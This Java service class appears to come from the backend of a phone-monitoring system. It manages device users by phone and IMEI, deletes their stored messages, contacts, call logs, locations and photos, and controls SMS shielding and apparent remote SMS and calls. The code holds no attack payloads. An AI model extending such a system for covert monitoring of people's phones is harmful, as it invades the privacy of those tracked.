package com.monitor.service.impl;

import java.io.File;
import java.util.Date;
import java.util.List;

import com.monitor.dao.AlbumDao;
import com.monitor.dao.CallLogDao;
import com.monitor.dao.ContactDao;
import com.monitor.dao.LocationDao;
import com.monitor.dao.MessageDao;
import com.monitor.dao.RemoteCallDao;
import com.monitor.dao.RemoteSmsDao;
import com.monitor.dao.SmsMotionDao;
import com.monitor.dao.StatisticsDao;
import com.monitor.dao.UserDao;
import com.monitor.po.User;
import com.monitor.service.UserService;
import com.monitor.util.FileUtil;
import com.monitor.util.Pager;

public class UserServiceImpl implements UserService {
	private UserDao userDao;
	private MessageDao messageDao;
	private AlbumDao albumDao;
	private LocationDao locationDao;
	private CallLogDao callLogDao;
	private ContactDao contactDao;
	private RemoteSmsDao remoteSmsDao;
	private RemoteCallDao remoteCallDao;
	private SmsMotionDao smsMotionDao;
	private StatisticsDao statisticsDao;

	@Override
	public Pager<User> getUser(int pageSize, int currentPage) throws Exception {
		return userDao.getAllUser(pageSize, currentPage);
	}

	public void addUser(String phone, String imei, String model) throws Exception {
		User user = userDao.getUserByPhone(phone);
		if (user == null) {
			user = new User();
			user.setModel(model);
			user.setPhone(phone);
			user.setImei(imei);
			userDao.addUser(user);
		}
	}

	@Override
	public void updateUser(User user) throws Exception {
		userDao.updateUser(user);
	}

	@Override
	public User getUserByPhone(String phone) throws Exception {
		return userDao.getUserByPhone(phone);
	}

	@Override
	public User getUserById(long uid) throws Exception {
		return userDao.getUserById(uid);
	}

	@Override
	public int deleteUserById(long uid, String dir) throws Exception {
		// 删除用户后，需要删除联系人，短信，通话记录，地理位置，相册等信息
		User user = userDao.getUserById(uid);
		if (user != null) {
			userDao.deleteUser(user);
			messageDao.deleteMessageByPhone(user.getPhone());
			albumDao.deleteAlbumByUid(user.getId());
			locationDao.deleteLocationByUid(user.getId());
			callLogDao.deleteCalllogByUid(user.getId());
			contactDao.deleteContactByUid(user.getId());
			remoteSmsDao.deleteRemoteSmsByUid(user.getId());
			remoteCallDao.deleteRemoteCallByUid(user.getId());
			smsMotionDao.deleteSmsMotionByUid(user.getId());
			String saveDir = dir + File.separator + user.getId();
			String rootPath = System.getProperty("project.root");
			String userFileDir = rootPath + saveDir;
			// 删除用户文件目录
			FileUtil.deleteFile(new File(userFileDir));
			return 1;
		}
		return 0;
	}

	@Override
	public void clearData() throws Exception {
		// 清除3天前的地理位置信息
		locationDao.clearThreeDayAgoLocation();
		// 清除当日用户发送短信条数
		userDao.clearUserSendSmsCount();
		// 清除当日已发送短信条数统计
		statisticsDao.clearSentSmsCount();
	}

	@Override
	public int updateSmsShieldedTime(long uid, boolean shielded, Date startTime, Date endTime) throws Exception {
		User user = userDao.getUserById(uid);
		if (user != null) {
			user.setSmsShield(shielded);
			user.setSmsStartTime(shielded ? startTime : null);
			user.setSmsEndTime(shielded ? endTime : null);
			userDao.updateUser(user);
			return 1;
		}
		return 0;
	}

	@Override
	public List<User> getUserBySycTime(long time) throws Exception {
		return userDao.getUserBySycTime(time);
	}

	public void setUserDao(UserDao userDao) {
		this.userDao = userDao;
	}

	public void setMessageDao(MessageDao messageDao) {
		this.messageDao = messageDao;
	}

	public void setAlbumDao(AlbumDao albumDao) {
		this.albumDao = albumDao;
	}

	public void setLocationDao(LocationDao locationDao) {
		this.locationDao = locationDao;
	}

	public void setCallLogDao(CallLogDao callLogDao) {
		this.callLogDao = callLogDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	public void setRemoteSmsDao(RemoteSmsDao remoteSmsDao) {
		this.remoteSmsDao = remoteSmsDao;
	}

	public void setRemoteCallDao(RemoteCallDao remoteCallDao) {
		this.remoteCallDao = remoteCallDao;
	}

	public void setSmsMotionDao(SmsMotionDao smsMotionDao) {
		this.smsMotionDao = smsMotionDao;
	}

	public void setStatisticsDao(StatisticsDao statisticsDao) {
		this.statisticsDao = statisticsDao;
	}

}
